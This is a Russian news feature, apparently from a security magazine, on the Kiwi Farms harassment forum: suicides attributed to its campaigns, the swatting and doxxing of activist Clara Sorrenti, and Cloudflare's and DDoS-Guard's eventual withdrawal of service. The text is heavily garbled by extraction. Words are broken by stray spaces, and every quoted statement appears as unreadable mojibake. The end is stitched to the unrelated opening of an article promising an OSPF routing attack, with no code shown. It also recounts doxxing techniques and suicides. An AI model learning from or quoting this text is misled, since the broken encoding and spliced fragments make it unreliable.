и ней роот личных людей (стра дающих раз личны ми откло нени ями). Но это
не зна чит, что все огра ничи валось толь ко ими. Так же жер тва ми Kiwi Farms
регуляр но ста нови лись жур налис ты, акти вис ты, сетевые зна мени тос ти, полити -
чес кие деяте ли и прос тые, поч ти слу чай ные люди, каким-то обра зом
«перешед шие дорогу» учас тни кам форума.

До недав него вре мени самыми извес тны ми жер тва ми Kiwi Farms счи тались
сле дующие люди (их смер ти вызыва ли в сети и СМИ замет ный резонанс, одна -
ко до каких-то реаль ных дей ствий про тив Kiwi Farms дело так и не дош ло).

Раз работ чик SNES-эму лято ров, извес тный под ником Near. 
 в 2021 году, сооб щив перед смертью, что устал бороть ся с деп ресси -

ей, которую зна читель но усу губи ла дли тель ная трав ля, устро енная поль зовате -
лями Kiwi Farms.

По кон чил
с собой

«

»

«Îò íàïàäîê íà ìåíÿ çà òî, ÷òî ÿ àóòèñò, âñå ïåðåðîñ ëî â ïðåñ ëåäîâà -
íèå è äîê ñèíã ìîèõ äðó çåé, îäíî ãî èç êîòîðûõ âûíóæ äàëè ïîêîí ÷èòü
ñ ñîáîé, ïðîñ òî ÷òî áû äîáèòü ñÿ îò ìåíÿ ðåàê öèè. Èç‑çà ýòî ãî ÿ ïîòåðÿë
îäíî ãî èç ñâî èõ ëó÷ øèõ äðó çåé è ÷óâñ òâóþ ñåáÿ îòâåòñ òâåí íûì.
Äëÿ ìåíÿ óæå ñëèø êîì ïîç äíî, íî ÿ ìîëþñü, ÷òî áû êòî‑íèáóäü êîã -
äà‑íèáóäü ñäå ëàë ÷òî‑íèáóäü ñ ýòèì ñàé òîì. Ñëèø êîì ìíî ãî ëþäåé
ñòðà äàåò, íî, êàæåò ñÿ, íèêîìó íåò äî ýòî ãî äåëà, ïîòîìó ÷òî â ñåòè âñå
ìû ïðàê òè÷åñ êè íèê òî è îíè çíà þò îá ýòîì. Çëî ïîáåæ äàåò, êîã äà
õîðîøèå ëþäè áåç äåé ñòâó þò», — ïèñàë Near ïåðåä ñìåðòüþ.

Тран сген дерная раз работ чица игр Хлоя Сагал (Chloe Sagal), которая
в 2018 году  в Пор тлен де, штат Оре гон (поз же
скон чалась в боль нице от получен ных травм). Перед этим поль зовате ли Kiwi
Farms тра вили Сагал нес коль ко лет, и, по сло вам дру зей, ее все чаще ста ли
посещать мыс ли о суици де.

со вер шила акт самосож жения

«
»

«Âñÿ êèé ðàç, êîã äà îíà ãîâîðè ëà î ñàìî óáèé ñòâå, ó÷àñ òíè êè Kiwi Farms
æàëîâà ëèñü íà åå ñòðà íèöó â Facebook&ast; , è åå áëî êèðî âàëè.
Çà ìåñÿö äî åå ñìåð òè òàêîå ïðî èñõî äèëî íåñ êîëü êî ðàç», — ðàñ ñêà -
çûâà ëè ÑÌÈ äðóçüÿ Ñàãàë.

Так же поль зовате ли Kiwi Farms мно го лет прис таль но сле дили за прог раммис -
том Тер ри Дэвисом (Terry Davis), небезыз вес тным соз дателем опе раци онной
сис темы с религи озны ми мотива ми , которую Дэвис про екти ровал
для «обще ния с богом». В 2018 году его сбил поезд, и следс твию так и не уда -
лось уста новить, было ли это само убий ство или нес час тный слу чай.

TempleOS

Дэ вис был шизоф реником, а с 1996 года у него наб людались регуляр ные
мани акаль ные эпи зоды, но в пос ледние годы жиз ни он активно поль зовал ся
соц сетями, пуб ликовал виде обло ги и стри мил, чем и заин тересо вал сооб щес -
тво Kiwi Farms. Люди, знав шие Дэвиса, отме чали, что пос тоян ный трол линг
и про вока ции явно ухуд шали его сос тояние.

Бо лее того, поль зовате лями Kiwi Farms были даже извес тные мас совые
убий цы. Нап ример, Брен тон Хар рисон Тар рант, в 2019 году устро ивший

 в мечетях новозе ланд ско го Край стчер ча и убив ший боль -
ше 50 человек.
стрель бу

Тог да полиция нап равила адми нис тра тору Kiwi Farms Джо шуа Муну тре -
бова ние о сот рудни чес тве и зап росила содей ствие в поис ке поль зовате лей,
ответс твен ных за рас простра нение матери алов Тар ранта. Мун отве тил на это
длин ной нецен зурной тирадой, суть которой сво дилась к тому, что законы
Новой Зелан дии на него и сайт не рас простра няют ся.

Нет, даже пос ле это го Kiwi Farms не зак рыли. Прос то зап ретили в Новой
Зелан дии.

ÊËÀÐÀ ÑÎÐÐÅÍÒÈ

К нынеш нему кра ху Kiwi Farms при вела мас штаб ная кам пания ,
которую запус тила в сети еще одна жер тва этих форумов — Кла ра Сор ренти
(Clara Sorrenti), в онлай не извес тная как Keffals. Сор ренти — тран сген дерная
акти вис тка и Twitch-стри мер, то есть одна из самых лакомых для сооб щес тва
Kiwi Farms целей.

Drop Kiwi Farms

Все началось 5 августа, ког да в дом Сор ренти в канад ском Лон доне вор -
валась полиция и ее саму в ито ге арес товали. Дело в том, что накану не неиз -
вес тные отпра вили чле нам город ско го совета пись ма, в которых утвер жда лось,
буд то Сор ренти вла деет нелегаль ным огнес трель ным ору жием, уже уби ла
свою мать и теперь собира ется пой ти в город скую адми нис тра цию, что бы
«расс тре лять каж дого цис генде ра», которо го встре тит по пути.

« »
«Êîã äà ìåíÿ ðàç áóäèëè ïîëèöåé ñêèå è ÿ óâè äåëà íàï ðàâëåí íûé ìíå
â ëèöî àâòî ìàò, ÿ ïîäóìà ëà, ÷òî ñåé ÷àñ óìðó», — ïîç æå ðàñ ñêà çàëà
Ñîð ðåíòè íà .YouTube

Сор ренти рас ска зыва ет о сват тинге и арес те

При этом сват тинг был уже не пер вым выпадом в адрес Сор ренти. По ее сло -
вам, пер вое, что сде лали учас тни ки форумов, ког да завели тред с ее име нем
на Kiwi Farms, — это отыс кали в сети нек ролог ее покой ного отца и исполь -
зовали, что бы най ти пос вящен ную ему стра ницу в Facebook&ast; . Там обна -
ружи лись сов мес тные фото, сня тые на крыль це дома Сор ренти, и по ним учас -
тни ки форума вычис лили, где Сор ренти живет.

За этим пос ледова ли дол гие месяцы оскор бле ний, угроз и док синга. Сайт
кам пании Drop Kiwi Farms гла сит, что на Kiwi Farms пуб ликова лась «лич ная
информа ция Кла ры Сор ренти, вклю чая фото и видео сек суаль ного харак тера,
номера телефо нов, адре са, а так же лич ные дан ные дру зей и семьи».

Пос ле сват тинга Сор ренти начала всерь ез опа сать ся за свою безопас ность
и пере еха ла жить в отель, но ее быс тро наш ли и там. Дело в том, что она
выложи ла в сеть фото сво его кота, — и учас тни ки Kiwi Farms прош тудиро вали
сай ты для бро ниро вания всех мес тных оте лей, срав нили пос тель ное белье
на фотог рафии и вычис лили, где оста нови лась Сор ренти. Ей дали понять, что
уже зна ют о ее новом мес тонахож дении, заказав в ее номер пиц цу.

Пос ле учет ную запись Сор ренти в UberEats взло мали и на нее посыпа лись
заказы на сот ни дол ларов, а неиз вес тные люди начали отправ лять голосо вые
сооб щения с угро зами ей и чле нам ее семьи.

Тог да Сор ренти вооб ще решила покинуть Канаду и уеха ла к друзь ям
в Север ную Ирландию. Одна ко чле ны Kiwi Farms сно ва ее выс ледили. Вско ре
один из поль зовате лей раз местил в сети фотог рафию, сде лан ную нап ротив
дома, где посели лась Сор ренти. К фото при лага лось написан ное от руки сооб -
щение с упо мина нием Kiwi Farms.

Вско ре пос ле это го Сор ренти соб ралась пообе дать с друзь ями в рес торане
и неиз вес тные ста ли сооб щать о яко бы заложен ных бом бах во всех окрес тных
заведе ниях обще пита.

В схо жих обсто ятель ствах некото рые из прош лых жертв Kiwi Farms нак -
ладыва ли на себя руки, и Сор ренти тоже рас ска зыва ет, что начала задумы вать -
ся о само убий стве. Одна ко в кон це августа, ког да ее наш ли даже в Север ной
Ирландии, акти вис тка решила, что «уста ла убе гать», и поняла, что нуж но
попытать ся дать отпор.

Так в сети стар товала кам пания Drop Kiwi Farms, в ходе которой Сор ренти,
доволь но извес тная в сети лич ность, прив лекла вни мание круп ней ших
мировых СМИ, полити ков и акти вис тов к проб леме Kiwi Farms. О про изо шед -
шем писали в ,  и мно жес тве дру гих изда ний.Time Vice

Че го добива лась Сор ренти? Огласки и «бана» для Kiwi Farms. Что бы круп -
ные ком пании, подоб ные Cloudare, перес тали зак рывать гла за на про исхо -
дящее и ока зывать сай ту кос венную помощь и под дер жку. Ведь пра вила той
же Cloudare зап реща ют «кон тент, который рас кры вает кон фиден циаль ную
лич ную информа цию, подс тре кает к насилию, экс плу ати рует его или пред -
назна чен для вве дения в заб лужде ние общес твен ности».

CLOUDFLARE ÏÎÄ ÄÀÂËÅÍÈÅÌ

Кам пания Drop Kiwi Farms быс тро наб рала обо роты, выш ла в трен ды соци аль -
ных сетей, прив лекла вни мание акти вис тов и СМИ, и в ито ге мас совой кри тике
под вер глась имен но ком пания Cloudare, дав но ока зывав шая сай ту защит ные
услу ги. Фак тичес ки Cloudare прик рывала сайт от DDoS-атак, а так же под -
держи вала его инфраструк туру.

Как  в сво ем Twitter быв ший гла ва по информа цион ной безопас -
ности в Facebook&ast;, про фес сор Стэн форд ско го уни вер ситета Алекс Ста мос
(Alex Stamos), Cloudare — это не прос то защита от DDoS.

объ ясня ет

«

»

«Cloudflare óäå ëÿåò îñî áîå âíè ìàíèå çàùèòå îò DDoS-àòàê, è îíè,
áåçóñ ëîâíî, çàíèìà þòñÿ ýòèì, íî åùå îäíà îãðîìíàÿ öåí íîñòü, êîòîðóþ
îíè ïðå äîñ òàâëÿ þò KF è äðó ãèì ñàé òàì, — ýòî ñêî ðîñòü. À äëÿ óñïå õà
ëþáîãî èíòåðíåò‑ñåð âèñà ñêî ðîñòü ÿâëÿ åòñÿ êëþ ÷åâûì ôàê òîðîì. Âîò
ïî÷åìó Google è FacebookFacebook&ast; òðà òÿò ìèë ëèàð äû íà ýòî ïðå -
èìó ùåñ òâî.
Cloudflare — ýòî íå ïðîñ òî ùèò, ñòî ÿùèé ïåðåä KF è îñòà íàâ ëèâà þùèé
àòà êè. Cloudflare îáðà ùàåò ñÿ ê èñõîäíî ìó õîñ òó KF, ñêî ðåå âñå ãî
ïóëåíåï ðîáèâà åìî ìó õîñ òèíãó â çîíå RU (çäåñü Ñòà ìîñ îøè áàåò ñÿ,
è èç ðóíåòà Kiwi Farms âûã íàëè î÷åíü áûñ òðî. — Ïðè ìå÷. ðåä.), è äåëà åò
òûñÿ÷è êîïèé ñàé òà, êîòîðûå çàòåì õðà íèò ôèçè÷åñ êè (â îïå ðàòèâ íîé
ïàìÿòè) î÷åíü áëèç êî ê êîíå÷ íûì ïîëü çîâàòå ëÿì», — ïèøåò Ñòà ìîñ.

Кста ти, в Cloudare заяв ляли, что вов се не раз мещали кон тент Kiwi Farms,
а зна чит, сайт не под падал под пра вила, зап реща ющие «кон тент, который рас -
кры вает кон фиден циаль ную лич ную информа цию, подс тре кает к насилию, экс -
плу ати рует его или пред назна чен для вве дения в заб лужде ние общес твен -
ности».

Гла ва Cloudare Мэтью Принс

В кон це августа Cloudare была вынуж дена как-то отре аги ровать на про исхо -
дящее. Гла ва Cloudare Мэтью Принс (Matthew Prince) опуб ликовал в офи -
циаль ном бло ге , в котором попытал ся объ яснить, как в Cloudare
отно сят ся к раз личным зло упот ребле ниям.

за явле ние

В этом сооб щении Принс срав нива ет ком панию Cloudare с пожар ными,
которые не отка зыва ются тушить дома, если в них про жива ют люди, обла -
дающие сом нитель ными мораль ными качес тва ми.

«

»

«Íåêîòî ðûå óòâåð æäà þò, ÷òî ìû äîë æíû îòêëþ ÷àòü òàêèå ñåð âèñû (êàê
Kiwi Farms) èç‑çà êîí òåíòà, êîòîðûé ìû ñ÷è òàåì ïðå äîñó äèòåëü íûì, ÷òî -
áû äðó ãèå ìîã ëè àòà êîâàòü èõ è âûâåñ òè èç ñòðîÿ. Â ôèçè÷åñ êîì ìèðå
ýòî ýêâè âàëåí òíî àðãó ìåí òó, ÷òî ïîæàð íàÿ ñëóæ áà íå äîë æíà ðåàãè -
ðîâàòü íà ïîæàðû â äîìàõ ëþäåé, åñëè òå íå îáëà äàþò îïðå äåëåí íûìè
ìîðàëü íûìè êà÷åñ òâà ìè. Êàê â ôèçè÷åñ êîì ìèðå, òàê è â èíòåðíå òå
ýòî îïàñ íûé ïðå öåäåíò, êîòîðûé â äîë ãîñðî÷ íîé ïåð ñïåê òèâå ìîæåò
íàíåñ òè íåï ðîïîð öèîíàëü íûé óùåðá óÿç âèìûì è ìàð ãèíàëè çèðî âàí íûì
ñîîá ùåñ òâàì», — ïèñàë Ïðèíñ.

Так же он напом нил, что в исто рии было все го два пре цеден та, ког да Cloudare
отка зыва лась пре дос тавлять свои услу ги сай там.

Пер вый слу чай имел мес то в 2017 году — это зак рытие неона цист ско го
сай та The Daily Stormer, с поль зовате лем которо го свя зыва ли теракт в Шар лот -
свил ле, штат Вир джи ния (тог да Джей мс Алекс Филдс про тара нил на авто моби -
ле тол пу людей, в резуль тате чего пос тра дали 19 человек). Вто рой слу чай —
бло киров ка имид жбор да 8chan, про изо шед шая в 2019 году пос ле мас сового
убий ства в городе Эль-Пасо, шта та Техас, ког да погиб ли 20 человек. Свой
манифест нападав ший, Пат рик Кру зиус, опуб ликовал имен но на этом имид -
жбор де.

Нуж но под чер кнуть, что в обо их слу чаях Cloudare не дей ство вала самос -
тоятель но, на опе реже ние, а дожида лась решений суда и лишь пос ле это го
прек ращала работать с сай тами.

При этом Принс заяв ляет, что пос ле обе их бло киро вок «в ком пании замети -
ли рез кое уве личе ние чис ла авто ритар ных режимов, пыта ющих ся вынудить
Cloudare отклю чить защит ные сер висы для сай тов пра воза щит ных орга низа -
ций, при этом ссы лаясь на наши собс твен ные аргу мен ты».

«

»

«Ïîñ ëå ïðè íÿòèÿ ýòèõ ðåøåíèé ó íàñ ñîñ òîÿëèñü âàæ íûå ïåðåãî âîðû
ñ ïîëèòè êàìè ñî âñå ãî ìèðà. Â õîäå ýòèõ îáñóæäå íèé ìû ïðèø ëè
ê âûâîäó, ÷òî Cloudflare íå äîë æíà èìåòü ïðà âî îòêëþ ÷àòü çàùèò íûå
ñåð âèñû äëÿ ñàé òîâ. Íå ïîòîìó, ÷òî ñîäåð æèìîå ýòèõ ñàé òîâ
íå âûçûâà ëî îòâðà ùåíèÿ (îíî âûçûâà ëî), à ïîòîìó, ÷òî çàùèò íûå ñåð -
âèñû áîëü øå âñå ãî íàïîìè íàþò èíòåðíåò‑óòè ëèòû, — îáú ÿñíÿ åò
Ïðèíñ — Òî÷ íî òàê æå òåëåôîí íàÿ êîì ïàíèÿ íå îòêëþ ÷àåò âàø òåëåôîí,
åñëè âû ãîâîðè òå óæàñ íûå, ðàñèñò ñêèå è ôàíàòè÷ íûå âåùè. Ïðî êîí -
ñóëü òèðîâàâ øèñü ñ ïîëèòè êàìè, âûñîêè ìè äîë æíîñòíû ìè ëèöàìè
è ýêñïåð òàìè, ìû ñ÷è òàåì, ÷òî íå äîë æíû îòêëþ ÷àòü çàùèò íûå ñåð âèñû,
åñëè òî, ÷òî âû ïóá ëèêó åòå, ÿâëÿ åòñÿ îòâðà òèòåëü íûì è íåï ðàâèëü íûì,
ýòî îøè áî÷ íàÿ ïîëèòè êà.
Äëÿ ÿñíîñòè: åñëè ìû ïîñ òóïèëè òàê â îãðà íè÷åí íîì êîëè÷åñ òâå ñëó -
÷àåâ, ýòî íå çíà ÷èò, ÷òî ìû áûëè ïðà âû, êîã äà ýòî ñäå ëàëè. È íå çíà ÷èò,
÷òî ìû êîã äà‑íèáóäü ñäå ëàåì ýòî ñíî âà».

Од нако все попыт ки Cloudare объ яснить ся и оправдать свои дей ствия при -
вели толь ко к уси лению дав ления, а шквал кри тики про дол жил нарас тать. Заяв -
ление Прин са широко обсужда ли в сети, и о мораль но-эти чес кую сто рону воп -
роса было сло мано немало копей. Ведь ответ на воп рос «кто зас лужива ет
защиты от DDoS-атак?» ока зал ся гораз до слож нее, чем кажет ся на пер вый
взгляд.

В час тнос ти, уже упо мяну тый Алекс Ста мос писал, что Принс нем ного
лукавит, ког да рекомен дует обра щать ся к хос терам и давить на них, если речь
заходит о модера ции и потен циаль ных бло киров ках кон тента.

«
»

«Åùå îäíî ïðå èìó ùåñ òâî, êîòîðîå Cloudflare ïðå äîñ òàâëÿ åò KF, —
ýòî àíî íèì íîñòü èñõîäíî ãî õîñ òà, ïîýòî ìó, õîòÿ â áëî ãå îíè ãîâîðÿò
î õîñ òèíãå êàê î ïîä õîäÿùåì ìåñ òå äëÿ îáåñ ïå÷åíèÿ áîëåå àãðåññèâ -
íîé ìîäåðà öèè êîí òåíòà, íà ïðàê òèêå Cloudflare äåëà åò ýôôåêòèâ íûì
õîñ òèíã ó ïðî âàé äåðîâ, êîòîðûå íå îòâå ÷àþò íà çàï ðîñû», — îáú ÿñíÿë
ýêñïåðò.

За бав но, но дей ствия ком пании  даже быв ший опе ратор сер висов
для DDoS-атак по най му под ником Rasbora. В сво ем пос те он иро низи рует
на тему того, что в под рос тко вом воз расте управлял десят ками сер висов
для DDoS, каж дый из которых защищал ся от кон курен тов с помощью тех самых
«ней траль ных ути лит» Cloudare, о которых писал Принс.

осу дил

«
»

«Áåç „íåé òðàëü íûõ“ çàùèò íûõ ñåð âèñîâ Cloudflare ÿ íå ñìîã áû îðãà -
íèçî âàòü ìèë ëèîíû DDoS-àòàê. Òðóä íî ïåðåäàòü, íàñ êîëü êî âàæ íóþ ðîëü
èíñ òðó ìåí òû Cloudflare èãðà þò â óñïåøíîé ðàáîòå DDoS-ñåð âèñîâ:
ïðåñ òóïíè êè, ó êîòîðûõ íå áûëî çàùèòû Cloudflare, íå çàäåð æèâàëèñü
â îíëàé íå ïîäîë ãó», — ãîâîðèò Rasbora.

Быв ший дидосер пишет, что ком пания прек расно зна ет, кому пре дос тавля ет
защиту, и про дол жает делать это, «пол ностью осоз навая конеч ный резуль тат
сво их дей ствий».

«

»

«Cloudflare îòâå ÷àåò çà òî, ÷òî áû DDoS-ñåð âèñû îñòà âàëèñü â ñåòè
è ïðî äîë æàëè ðàáîòàòü. Òå ñàìûå ñàé òû, åäèíñ òâåí íàÿ öåëü êîòîðûõ —
ïîä äåðæè âàòü ñîáñ òâåí íóþ áèç íåñ‑ìîäåëü Cloudflare ïî ïðî äàæå
çàùèòû îò DDoS. Óâà æàåìûé ÷èòàòåëü, ïîæàëóé ñòà, ïîäóìàé íàä ïîñ -
ëåäíèì ïðåä ëîæåíè åì. Cloudflare — ïîæàð íàÿ ñëóæ áà, êîòîðàÿ ãîð äèòñÿ
òåì, ÷òî òóøèò ïîæàðû â ëþáîì äîìå, íåçàâè ñèìî îò òîãî, êòî òàì
æèâåò. Òîëü êî âîò îíè çàáûâà þò óïî ìÿíóòü î òîì, ÷òî îíè ñàìè àêòèâíî
ðàç æèãà þò ýòè ïîæàðû è ïîòîì çàðàáà òûâà þò íà èõ òóøåíèè», —
ðåçþìè ðóåò Rasbora.

ÁËÎÊÈÐÎÂÊÀ KIWI FARMS

Ког да ста ло оче вид но, что офи циаль ное заяв ление Мэтью Прин са, говорив -
шего от лица Cloudare, толь ко уве личи ло недоволь ство в сети, ком пании все
же приш лось пой ти на более решитель ные меры.

За явле ние о бло киров ке Kiwi Farms

4 сен тября 2022 года в бло ге Cloudare появи лось , гла сив -
шее, что пос тавщик перес тает ока зывать услу ги Kiwi Farms и боль ше не будет
защищать ресурс. Этот шаг Принс объ яснил тем, что обста нов ка про дол жала
накалять ся и эска лация про исхо дяще го ста ла нап рямую угро жать жиз ням
людей.

но вое сооб щение

«

»

«Ýòî ýêñ òðà îðäè íàð íîå äëÿ íàñ ðåøåíèå, è, ó÷è òûâàÿ ðîëü Cloudflare
êàê ïîñ òàâùè êà èíòåðíåò‑èíôðàñòðóê òóðû, îïàñ íîå ðåøåíèå, êîòîðîå
íàì íå íðà âèò ñÿ. Òåì íå ìåíåå â ïîñ ëåäíèå 48 ÷àñîâ ðèòîðè êà íà ñàé -
òå Kiwi Farms è êîí êðåò íûå öåëåíàï ðàâëåí íûå óãðî çû óñè ëèëèñü
äî òàêîé ñòå ïåíè, ÷òî ìû ñî÷ ëè ýòî áåñ ïðå öåäåí òíîé ÷ðåç âû÷àé íîé
ñèòó àöèåé è íåïîñ ðåäñ òâåí íîé óãðî çîé ÷åëîâå ÷åñ êîé æèç íè, â îòëè ÷èå
îò âñå ãî òîãî, ÷òî ìû ðàíü øå âèäåëè íà Kiwi Farms èëè ó ëþáûõ äðó ãèõ
êëè åíòîâ, — ïèøåò Ïðèíñ. — Ïî÷óâñ òâî âàâ ñåáÿ àòà êîâàí íûìè, ïîëü -
çîâàòå ëè Kiwi Farms ñòà ëè åùå àãðåññèâ íåå. Çà ïîñ ëåäíèå äâå íåäåëè
ìû îáðà ùàëèñü ê ïðà âîîõ ðàíèòåëü íûì îðãà íàì ñðà çó â íåñ êîëü êèõ
þðèñ äèêöè ÿõ, ïðèâ ëåêàÿ èõ âíè ìàíèå ê òîìó, ÷òî íà ñàé òå, ïî íàøåìó
ìíå íèþ, ïóá ëèêîâà ëèñü ñîîá ùåíèÿ î ïîòåí öèàëü íûõ ïðåñ òóïíûõ äåé -
ñòâè ÿõ è íåïîñ ðåäñ òâåí íûå óãðî çû ÷åëîâå ÷åñ êîé æèç íè».

Гла ва Cloudare сету ет, что пра воох ранитель ные орга ны, к сожале нию, работа -
ют не слиш ком быс тро и эска лация рис ков про исхо дит гораз до быс трее.

«

»

«Õîòÿ ìû ñ÷è òàåì, ÷òî ïîäîá íî äðó ãèì ñèòó àöèÿì, ñ êîòîðû ìè ìû ñòàë -
êèâàëèñü (âêëþ ÷àÿ ñëó ÷àè Daily Stormer è 8chan), íàì, êàê ïîñ òàâùè êó
èíôðàñòðóê òóðû, áûëî áû óìåñ òíî äîæ äàòü ñÿ ñóäåá íîãî ïðî öåñ ñà,
â äàí íîì ñëó ÷àå íåïîñ ðåäñ òâåí íàÿ è ÷ðåç âû÷àé íàÿ óãðî çà ÷åëîâå ÷åñ -
êîé æèç íè, êîòîðàÿ ïðî äîë æàåò íàðàñ òàòü, çàñ òàâëÿ åò íàñ äåé ñòâî âàòü.
Íàì íåîá õîäèì ìåõàíèçì íà ñëó ÷àé âîç íèêíî âåíèÿ ýêñ òðåí íîé óãðî çû
æèç íè ëþäåé, ñïî ñîá íûé ãàðàí òèðîâàòü, ÷òî ïîñ òàâùè êè èíôðàñòðóê -
òóðû ìîãóò îïå ðàòèâ íî ñîò ðóäíè ÷àòü ñ ïðà âîîõ ðàíèòåëü íûìè îðãà íàìè,
à ïðè íÿòûå ðåøåíèÿ áóäóò îñíî âàíû íà íàä ëåæàùåé ïðà âîâîé ïðî öåäó -
ðå. Ê ñîæàëå íèþ, òàêîãî ìåõàíèç ìà íå ñóùåñ òâó åò, ïîýòî ìó ìû ïðè -
íèìà åì ýòî íåóäîá íîå ýêñ òðåí íîå ðåøåíèå â îäè íî÷ êó», — îáú ÿñíèë
Ïðèíñ.

В сво их заяв лени ях руководс тво Cloudare под черки вает, что это слож ное
решение может лишь ухуд шить положе ние, ведь теперь поль зовате ли Kiwi
Farms почувс тву ют себя еще более изо лиро ван ными и ата кован ными и ста нут
лишь агрессив нее. По сло вам Прин са, «бло киров ка Kiwi Farms вре мен но сгла -
жива ет кон фликт, но она нико им обра зом не реша ет основную проб лему»,
для устра нения которой в общес тве дол жна быть про дела на огромная работа.

Так же Принс выс казыва ет мысль, что Kiwi Farms, ско рее все го, опе ратив но
най дет дру гую инфраструк туру и все рав но вер нется в онлайн.
С этим мне нием явно несог ласна Кла ра Сор ренти, которая 5 сен тября раз -
мести ла на сай те кам пании Drop Kiwi Farms сооб щение, начина ющееся
со слов: «Кам пания окон чена. Мы победи ли».

Сор ренти пишет, что пос ле бана опе рато ры Kiwi Farms дей стви тель но
попыта лись укрыть ся в рунете (о чем писал Алекс Ста мос), одна ко не задер -
жались в нем надол го, рав но как и в дру гих мес тах. Дело в том, что рос сий ская
ком пания DDoS-Guard, спе циали зиру ющаяся на защите от DDoS-атак, так же
отка залась работать с Kiwi Farms.

«

»

«Ìû ïðå äîñ òàâëÿ åì óñëó ãè òåì, êòî â íèõ íóæ äàåò ñÿ, åñëè ñàéò êëè åíòà
íå ïðåñ òóïèë ÷åð òó çàêîíà è åñëè íå ïðèø ëî îôè öèàëü íîå óâå äîì -
ëåíèå îò óïîë íîìî÷åí íûõ îðãà íîâ î çàï ðåòå íà ïîä äåð æêó ðåñóð ñà.
Ñåãîä íÿ DDoS-Guard ïðåê ðàòèë ïðå äîñ òàâëå íèå óñëóã äëÿ ôîðóìà Kiwi
Farms, íå äîæèäà ÿñü îôè öèàëü íîãî óâå äîì ëåíèÿ. Â òå÷åíèå ìíî ãèõ ëåò
ìû ïðè äåð æèâà åìñÿ ïîëèòè êè ñåòåâî ãî íåé òðà ëèòå òà. Îäíà êî åñòü
âåùè, êîòîðûå äëÿ íàñ íåï ðèåì ëåìû ïðè ëþáûõ îáñòî ÿòåëü ñòâàõ», —
ñîîá ùèëè â ïðåññ‑ñëóæ áå DDoS-Guard 5 ñåí òÿáðÿ.

Пос ле бло киров ки основным каналом свя зи Муна с поль зовате лями стал
Telegram. Ког да DDoS-Guard отка зал ся сот рудни чать с Kiwi Farms, Мун писал:
«Сегод ня утром DDoS-Guard отка зал ся от нас. Этот мем о том, что Рос сия —
сво бод ная стра на, прос то сме шон».

«
»

«ß íå âèæó ñèòó àöèè, â êîòîðîé Kiwi Farms ïðîñ òî ïîç âîëÿò ðàáîòàòü.
[Ñàéò] ëèáî ïðåâ ðàòèò ñÿ â ðàç äðîá ëåííóþ îáî ëî÷ êó ñàìîãî ñåáÿ,
êàê 8chan, ëèáî áóäåò ïðû ãàòü ìåæ äó õîñ òàìè è äîìåí íûìè èìå íàìè,
êàê Daily Stormer», — ïðèç íàâàë Ìóí â íà÷àëå ñåí òÿáðÿ.

В нас тоящее вре мя Kiwi Farms дос тупен пре иму щес твен но через Tor, но onion-
сайт работа ет с перебо ями, а най ти дру гие вари анты, где ресурс не банят
через нес коль ко дней, пока не выходит. Так же нуж но ска зать, что Kiwi Farms
исклю чили даже из интернет-архи ва Wayback Machine.

Сей час сайт регуляр но под верга ется DDoS-ата кам, а сог ласно све жему
сооб щению Муна от 18 сен тября, на днях Kiwi Farms успешно взло мали: был
ском про мети рован укра инский хос тер vsys, которым Kiwi Farms поль зовал ся
как пря мым прок си, и в резуль тате учет ная запись адми нис тра тора. Мун пре -
дуп режда ет, что, ско рее все го, в ходе ата ки были укра дены пароли, email-
адре са и IP-адре са всех поль зовате лей ресур са. Тем не менее админ обе -
щает, что работа сай та будет вос ста нов лена.

Со обще ние о взло ме

Мун объ ясня ет, как взло мали сайт

Что каса ется Cloudare, в ком пании по-преж нему убеж дены, что при нятое
решение было вынуж денным и сквер ным, а его пос ледс твия могут быть даже
хуже.

«

»

«ß äóìàþ, ëþäè íåï ðàâèëü íî ïîíÿëè íàøå êîì ïëåêñíîå ìíå íèå ïî äàí -
íîìó âîï ðîñó. Ïî ñóòè, ñèòó àöèÿ çàê ëþ÷àëàñü â òîì, ÷òî íàñ, êàê ïîñ -
òàâùè êà óñëóã áåçîïàñ íîñòè, ïîï ðîñèëè îòîé òè â ñòî ðîíó, ÷òî áû ñàéò
ìîã ïîä âåð ãíóòü ñÿ êèáåðà òàêå. Äëÿ íàñ ýòî äàâ íèé âîï ðîñ — ñàìà èäåÿ
òîãî, ÷òî áû ðåøèòü ïðîá ëåìó ïðîá ëåìíî ãî êîí òåíòà, îòñòó ïèâ â ñòî -
ðîíó è ïîç âîëèâ ïðî âåñ òè àòà êó, êîòîðàÿ, âåðî ÿòíî, ñàìà ïî ñåáå ÿâëÿ -
åòñÿ íåçàêîí íîé», — êîì ìåíòè ðóåò âèöå‑ïðå çèäåíò Cloudflare Àëèñ ñà
Ñòàð çàê (Alissa Starzak).

Кла ра Сор ренти, уже про воз гла сив шая победу над Kiwi Farms, отме чает, что
недав но даже помощ ник дирек тора ФБР офи циаль но приз нал, что Kiwi Farms
пред став ляет собой «внут реннюю тер рорис тичес кую угро зу». Она обе щает, что
ее коман да про дол жит сле дить за Kiwi Farms, но вряд ли ресурс смо жет воз -
родить ся и получит такую же дос тупность и вли яние в интерне те, какими обла -
дал еще недав но.

«
»

«Áåñ ÷èñëåí íûå æåð òâû Kiwi Farms ìîãóò ñïàòü ñïî êîé íî, çíàÿ, ÷òî ñàéò
îáðå ÷åí. Îí íèêîã äà íå âîñ ñòà íîâèò áûëóþ äèíàìè êó è ïðî äîë æèò
òåðÿòü ïîä ïèñ÷è êîâ, ñ êàæ äîé íåäåëåé ñòà íîâÿñü âñå áîëåå è áîëåå
íåàê òóàëü íûì. <…> Ñåãîä íÿ ìèð ñòàë ëó÷ øå», — çàê ëþ÷à åò Ñîð ðåíòè.

﹡ При над лежит ком пании Meta, которая приз нана экс тре мист ской и зап рещена
в Рос сии.
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Ата ки на домены динами чес кой мар шру -
тиза ции могут устро ить нас тоящий хаос
в сети, так как наруша ют сам про цесс мар -
шру тиза ции. В этой статье я поделюсь
сво ей модифи каци ей ата ки Evil Twin
для перех вата дан ных в сетях на осно ве
про токо ла OSPF. Так же про демонс три рую
спо соб под клю чения к авто ном ной сис -
теме, покажу, как мож но обой ти аутен -
тифика цию и выпол нить вре донос ную
LSU-инъ екцию.

Статья име ет озна коми тель ный харак тер и пред -
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре -
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÊÀÊ ÐÀÁÎÒÀÅÒ OSPF
OSPF (open shortest path rst) — это про токол внут ридомен ной динами чес кой
мар шру тиза ции, осно ван ный на матема тичес ком алго рит ме Эдсге ра Дей -
